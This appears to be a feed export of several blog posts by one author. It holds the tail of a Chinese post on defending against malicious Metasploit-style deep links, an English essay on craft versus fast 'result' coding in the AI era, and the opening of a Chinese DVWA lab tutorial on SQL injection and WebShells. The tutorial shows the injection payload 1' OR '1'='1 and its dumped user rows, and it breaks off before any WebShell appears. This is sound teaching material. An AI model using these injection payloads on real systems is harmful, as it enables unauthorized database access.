&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 用户确认机制
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;handleDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;showDeepLinkWarning&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;


    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;userConfirmed&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;proceedWithDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;cancelOperation&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. 安全监控日志
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 记录所有深度链接请求&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;logDeepLinkAccess&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;SecurityLogger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"DEEPLINK_ACCESS"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
        &lt;span class="s"&gt;"uri: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt;
        &lt;span class="s"&gt;"source: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="s"&gt;"timestamp: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  企业防护策略
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. 移动设备管理（MDM）
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 部署企业级MDM解决方案
&lt;span class="p"&gt;-&lt;/span&gt; 配置应用白名单策略
&lt;span class="p"&gt;-&lt;/span&gt; 实施QR码扫描限制策略
&lt;span class="p"&gt;-&lt;/span&gt; 建立安全事件响应流程
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 员工安全意识培训
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 定期进行社交工程攻击演练
&lt;span class="p"&gt;-&lt;/span&gt; 建立QR码使用安全规范
&lt;span class="p"&gt;-&lt;/span&gt; 设置安全报告奖励机制
&lt;span class="p"&gt;-&lt;/span&gt; 更新安全防护知识库
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;深度链接作为移动生态的重要特性，在提供便利的同时也带来了新的安全挑战。通过这个Metasploit模块的开发和研究，我们揭示了深度链接可能被恶意利用的现实风险。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;关键防护要点总结&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于普通用户&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;保持对QR码的警惕性&lt;/li&gt;
&lt;li&gt;验证应用来源和权限&lt;/li&gt;
&lt;li&gt;及时更新安全补丁&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于应用开发者&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;实施严格的深度链接验证&lt;/li&gt;
&lt;li&gt;添加用户确认环节&lt;/li&gt;
&lt;li&gt;建立完善的安全日志&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于企业安全团队&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;部署移动设备管理方案&lt;/li&gt;
&lt;li&gt;开展员工安全培训&lt;/li&gt;
&lt;li&gt;建立安全事件响应机制&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;移动安全是一个持续演进的领域，我们需要在技术创新和安全防护之间找到平衡点。希望这项研究能够为构建更安全的移动互联网环境贡献力量。&lt;/p&gt;




&lt;h3&gt;
  
  
  郑重声明
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;学技术，须以善念为本。此博客所分享的知识，皆为安全研究与防护之用。请务必谨记，绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏，所有后果只能由你自己承担。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;若你选择滥用本博客内容所学技能所造成的任何损害或违法行为，本人概不负责。若因此被警方或相关执法机关追查，一切法律责任与后果均由使用者本人承担。&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>metasploit</category>
      <category>ruby</category>
    </item>
    <item>
      <title>Why Programming Lives on a Spectrum and Why Both Sides Matter in the Age of AI</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Mon, 08 Sep 2025 12:02:23 +0000</pubDate>
      <link>https://forem.com/ctkqiang/why-programming-lives-on-a-spectrum-and-why-both-sides-matter-in-the-age-of-ai-2jhj</link>
      <guid>https://forem.com/ctkqiang/why-programming-lives-on-a-spectrum-and-why-both-sides-matter-in-the-age-of-ai-2jhj</guid>
      <description>&lt;p&gt;Software today looks deceptively simple. AI spits out entire codebases in minutes. YouTube tutorials show beginners how to “build a clone” of any famous app with 20 minutes of copy-pasting. Frameworks, libraries, and APIs abstract away almost everything under the hood.&lt;/p&gt;

&lt;p&gt;It’s easy to walk away from that and think: &lt;em&gt;this is all easy.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But that misses something fundamental: programming has always existed on a spectrum. At one end sits &lt;strong&gt;craft&lt;/strong&gt;, where code is hand-tuned, unforgiving, and intimately tied to hardware and long-term stability. At the other end sits &lt;strong&gt;result coding&lt;/strong&gt;, where the primary goal is getting something working quickly—shipping features, prototyping, or automating.&lt;/p&gt;

&lt;p&gt;Both ends matter. Both ends feed each other. But confusing them—treating all code as the same, or claiming that writing glue scripts makes you a systems engineer—creates problems, especially when it comes to reliability and security.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mapping the Spectrum
&lt;/h2&gt;

&lt;p&gt;Here’s the spectrum I use to explain it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10                   0                   10
|---------------------------------------|
Craft                                   Result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Craft side (left, score ~10)&lt;/strong&gt;&lt;br&gt;
Languages and environments that demand rigor: C, C++, Assembly, Erlang, COBOL, Fortran, sometimes even strict enterprise Java. Here, the focus is correctness, determinism, memory efficiency, and long-term maintainability. This is where we build operating systems, compilers, firmware, cryptographic algorithms, and mission-critical software. Bugs here aren’t just “annoying”—they can cost millions, endanger lives, or permanently brick hardware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Result side (right, score ~10)&lt;/strong&gt;&lt;br&gt;
High-level, fast-moving ecosystems: Python, JavaScript, TypeScript, modern frontend frameworks like React or Vue, serverless functions. The emphasis is speed and output. If it works today, ship it. If it breaks, patch later. This side powers MVPs, automation scripts, web apps, and hackathon prototypes. It makes software accessible to millions of people who would never write assembly in their lives.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most developers begin on the Result side. That’s a feature, not a bug. Accessibility fuels innovation. But mastery requires eventually walking across the line and grappling with the Craft side—even if only once—so you understand how the machine actually works.&lt;/p&gt;




&lt;h2&gt;
  
  
  Embedded Engineering: A Case Study in Craft
&lt;/h2&gt;

&lt;p&gt;One of the clearest examples of craft-side programming is &lt;strong&gt;embedded engineering&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike cloud services with unlimited memory and elastic compute, embedded systems are brutally constrained:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RAM measured in kilobytes, not gigabytes.&lt;/li&gt;
&lt;li&gt;Processors clocked in megahertz, not gigahertz.&lt;/li&gt;
&lt;li&gt;Energy budgets tied to tiny batteries.&lt;/li&gt;
&lt;li&gt;Real-time deadlines where missing a microsecond can break the system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why &lt;strong&gt;C&lt;/strong&gt; still dominates embedded development after decades. It offers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Direct hardware access&lt;/strong&gt;: Developers manipulate registers and memory addresses directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tight control of resources&lt;/strong&gt;: Every byte matters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predictable performance&lt;/strong&gt;: No garbage collector surprises.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example: programming a microcontroller to read a sensor. In Python, you’d import a library and call a function. In embedded C, you’re flipping bits in a memory-mapped register to enable the ADC, setting the sampling rate, and ensuring interrupts fire at the exact time.&lt;/p&gt;

&lt;p&gt;It’s not glamorous. But if you get it wrong, your drone doesn’t stabilize, or your pacemaker misses a heartbeat.&lt;/p&gt;

&lt;p&gt;That’s the difference: in embedded craft, “works on my machine” is not acceptable. It must work deterministically, every time, on the actual hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  ABI: The Hidden Contract That Separates Beginners from Engineers
&lt;/h2&gt;

&lt;p&gt;One concept that really illustrates the craft side is the &lt;strong&gt;Application Binary Interface (ABI)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Most devs know APIs (Application Programming Interfaces)—functions and classes you call in code. An ABI is lower level: it defines how compiled machine code interacts.&lt;/p&gt;

&lt;p&gt;Key ABI rules cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Calling conventions&lt;/strong&gt;: Are function arguments passed in registers or pushed onto the stack?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Register usage&lt;/strong&gt;: Which registers must be preserved across calls?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stack frame layout&lt;/strong&gt;: Where locals and return addresses live.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data representation&lt;/strong&gt;: Endianness, struct padding, alignment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why does this matter? Because if you violate the ABI, your program still &lt;em&gt;compiles&lt;/em&gt;, but it silently breaks at runtime.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Compiler A (ARM EABI) passes the first integer argument in register &lt;code&gt;r0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Compiler B (different convention) pushes it to the stack.
Now imagine linking object files built with these two compilers. Your function calls will misinterpret arguments, corrupt memory, or crash unpredictably.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are the ghosts that haunt embedded engineers. You won’t see them in JavaScript or Python. You only meet them when you drop into disassembly and debug at the machine level.&lt;/p&gt;

&lt;p&gt;Understanding ABIs separates people who can really engineer systems from people who can only script them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Power and Peril of Result Coding
&lt;/h2&gt;

&lt;p&gt;Now, let’s give the Result side its due.&lt;/p&gt;

&lt;p&gt;Python, JavaScript, frontend frameworks—these are the engines of modern software culture. They:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Empower beginners to create quickly.&lt;/li&gt;
&lt;li&gt;Accelerate prototyping and MVPs.&lt;/li&gt;
&lt;li&gt;Fuel the explosion of startups and open-source projects.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what I call &lt;strong&gt;vibe coding&lt;/strong&gt;: code with the energy of experimentation, tutorials, and “see if it runs.”&lt;/p&gt;

&lt;p&gt;And that’s not an insult. Vibe coding has value. It lowers barriers. It democratizes software. It creates more opportunities than ever before. It’s fun, fast, and often enough for many real-world applications.&lt;/p&gt;

&lt;p&gt;But vibe coding also has trade-offs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shortcuts&lt;/strong&gt;: Security and stability are often skipped.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technical debt&lt;/strong&gt;: Quick hacks pile up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shallow understanding&lt;/strong&gt;: Beginners may not learn how systems really work.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mistake is not in vibe coding—it’s in mistaking vibe coding for full craft engineering.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security: The Double-Edged Sword
&lt;/h2&gt;

&lt;p&gt;Here’s the irony: Result coding is a gift to cybersecurity professionals.&lt;/p&gt;

&lt;p&gt;Why? Because speed creates vulnerabilities. And vulnerabilities are doorways.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL injection because user input wasn’t sanitized.&lt;/li&gt;
&lt;li&gt;Hard-coded secrets committed to GitHub.&lt;/li&gt;
&lt;li&gt;Cloud buckets left wide open.&lt;/li&gt;
&lt;li&gt;Debug APIs accidentally exposed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the Craft era, developers were stricter. They worried about buffer overflows, memory safety, and input validation. In today’s Result-first world, it’s common to see security as an afterthought.&lt;/p&gt;

&lt;p&gt;For attackers, this is heaven. For penetration testers, it’s job security. Vibe coders, unintentionally, are the world’s greatest data miners for hackers. They open the doors that others walk through.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Mindset Divide
&lt;/h2&gt;

&lt;p&gt;Ultimately, the difference between Craft and Result is not just languages. It’s mentality.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Result mindset&lt;/strong&gt;: “If it works, ship it.”&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Craft mindset&lt;/strong&gt;: “If I don’t know &lt;em&gt;why&lt;/em&gt; it works, it’s not ready.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result engineers optimize for speed, usability, and market fit. Craft engineers optimize for correctness, stability, and long-term reliability. Both are valid. Both are needed. But they are not interchangeable.&lt;/p&gt;




&lt;h2&gt;
  
  
  AI’s Role on the Spectrum
&lt;/h2&gt;

&lt;p&gt;AI tilts heavily toward the Result side. It’s excellent at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scaffolding code quickly.&lt;/li&gt;
&lt;li&gt;Filling in boilerplate.&lt;/li&gt;
&lt;li&gt;Suggesting bug fixes or style improvements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But AI doesn’t reason about ABIs. It doesn’t guarantee determinism in real-time systems. It doesn’t ensure your embedded C will hit deadlines with zero jitter.&lt;/p&gt;

&lt;p&gt;AI accelerates Result coding but cannot replace Craft engineering. If anything, it makes Craft engineers more valuable, because the more Result-side code floods the world, the more demand there is for people who understand the hard parts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Crossing the Spectrum
&lt;/h2&gt;

&lt;p&gt;So what does this mean for developers?&lt;/p&gt;

&lt;p&gt;If you live in the Result world:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep coding, keep shipping, keep creating.&lt;/li&gt;
&lt;li&gt;But don’t mistake getting something working for understanding the system.&lt;/li&gt;
&lt;li&gt;Be mindful of security and long-term maintainability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you live in the Craft world:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Respect the speed and creativity of Result coding.&lt;/li&gt;
&lt;li&gt;Use it when prototyping or building tooling.&lt;/li&gt;
&lt;li&gt;But don’t compromise your standards when building mission-critical systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if you want to grow as an engineer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cross the spectrum at least once.&lt;/li&gt;
&lt;li&gt;Write C. Debug assembly. Study the ABI. Understand memory alignment and calling conventions.&lt;/li&gt;
&lt;li&gt;Then return to Python, JavaScript, or Rust with deeper intuition.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why It Matters
&lt;/h2&gt;

&lt;p&gt;The divide isn’t about “better” or “worse.” It’s about matching the right mindset to the right problem.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building a quick internal dashboard? Result coding is perfect.&lt;/li&gt;
&lt;li&gt;Writing firmware for a satellite? Craft is non-negotiable.&lt;/li&gt;
&lt;li&gt;Prototyping a machine-learning model? Result tools will get you far.&lt;/li&gt;
&lt;li&gt;Implementing the cryptographic routines that secure that model? Craft all the way.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mistake is when someone only touches Result-side tools and then claims to be an engineer of everything. Engineering requires understanding what’s under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Future
&lt;/h2&gt;

&lt;p&gt;As AI spreads, the Result side will only get easier. More people will code. More software will flood the world. And with that flood will come more vulnerabilities, more fragile systems, and more opportunities for those who understand the Craft side.&lt;/p&gt;

&lt;p&gt;The most powerful developers of the future will not be those who can just prompt AI to generate React components. It will be those who can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dive into low-level layers when things break.&lt;/li&gt;
&lt;li&gt;Guarantee correctness where determinism matters.&lt;/li&gt;
&lt;li&gt;Design secure, efficient systems when millions of lives or billions of dollars depend on it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI will make Result coding cheap. Craft will remain rare and valuable.&lt;/p&gt;

&lt;p&gt;Programming is not easy. It’s not one-size-fits-all. It’s a spectrum—Craft to Result.&lt;/p&gt;

&lt;p&gt;Vibe coders keep the world moving fast. Craft engineers keep it standing when it matters. Neither side exists without the other.&lt;/p&gt;

&lt;p&gt;But if you want to call yourself an engineer, you owe it to yourself to walk the Craft path at least once. To understand what’s really happening beneath the layers of abstraction. To learn why ABIs matter, why embedded systems demand rigor, why stability isn’t optional.&lt;/p&gt;

&lt;p&gt;Because one day, your code won’t just be drawing a button. It will be controlling a machine, protecting sensitive data, or holding the line against attackers.&lt;/p&gt;

&lt;p&gt;And when that day comes, you’ll be glad you learned the craft.&lt;/p&gt;

</description>
      <category>vibecoders</category>
    </item>
    <item>
      <title>SQL 注入、权限提升与 WebShell实战</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 31 Aug 2025 06:39:28 +0000</pubDate>
      <link>https://forem.com/ctkqiang/sql-zhu-ru-quan-xian-ti-sheng-yu-webshellshi-zhan-5d0m</link>
      <guid>https://forem.com/ctkqiang/sql-zhu-ru-quan-xian-ti-sheng-yu-webshellshi-zhan-5d0m</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：本文仅供教育和安全研究使用。&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  准备环境 &amp;amp; Docker 安装
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker.io

docker pull vulnerables/web-dvwa
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 7997:80 vulnerables/web-dvwa

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;访问浏览器：&lt;a href="http://localhost:7997" rel="noopener noreferrer"&gt;http://localhost:7997&lt;/a&gt;&lt;br&gt;
默认账号密码：&lt;code&gt;admin / password&lt;/code&gt;&lt;br&gt;
点击 &lt;strong&gt;Create/Reset Database&lt;/strong&gt; 初始化数据库。&lt;/p&gt;


&lt;h2&gt;
  
  
  布尔注入测试与漏洞验证
&lt;/h2&gt;

&lt;p&gt;在开始之前，我们要确保 SQL 语句在数据库端返回 &lt;code&gt;true&lt;/code&gt; 而不是 &lt;code&gt;false&lt;/code&gt;。通常，当密码错误时，例如 &lt;code&gt;password='123'&lt;/code&gt; 或 &lt;code&gt;password='&lt;/code&gt;'，查询会返回 &lt;code&gt;false&lt;/code&gt;，因为条件不匹配。但如果我们注入 &lt;code&gt;'1'='1'&lt;/code&gt;，这个条件始终为 &lt;code&gt;true&lt;/code&gt;，因为 &lt;code&gt;'1'&lt;/code&gt; 与 &lt;code&gt;'1'&lt;/code&gt; 完全匹配，从而绕过验证。&lt;/p&gt;

&lt;p&gt;输入：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;理论上，后台 SQL 语句可能是：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;页面返回：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sjx7dpb3ezdso4av2ao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sjx7dpb3ezdso4av2ao.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这一步成功验证了 &lt;code&gt;id&lt;/code&gt; 参数存在 SQL 注入漏洞，是整个攻击链的开端。&lt;/p&gt;




&lt;h2&gt;
  
  
  获取 PHPSESSID &amp;amp; 安全级别 Cookie
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrxuxwi7ow2yvnbnmuuy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrxuxwi7ow2yvnbnmuuy.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; http://localhost:7997
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/
Set-Cookie: security=low
Location: login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  curl 验证 SQL 注入点
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhtvjq6ddrq1bqdr7qlx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhtvjq6ddrq1bqdr7qlx.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
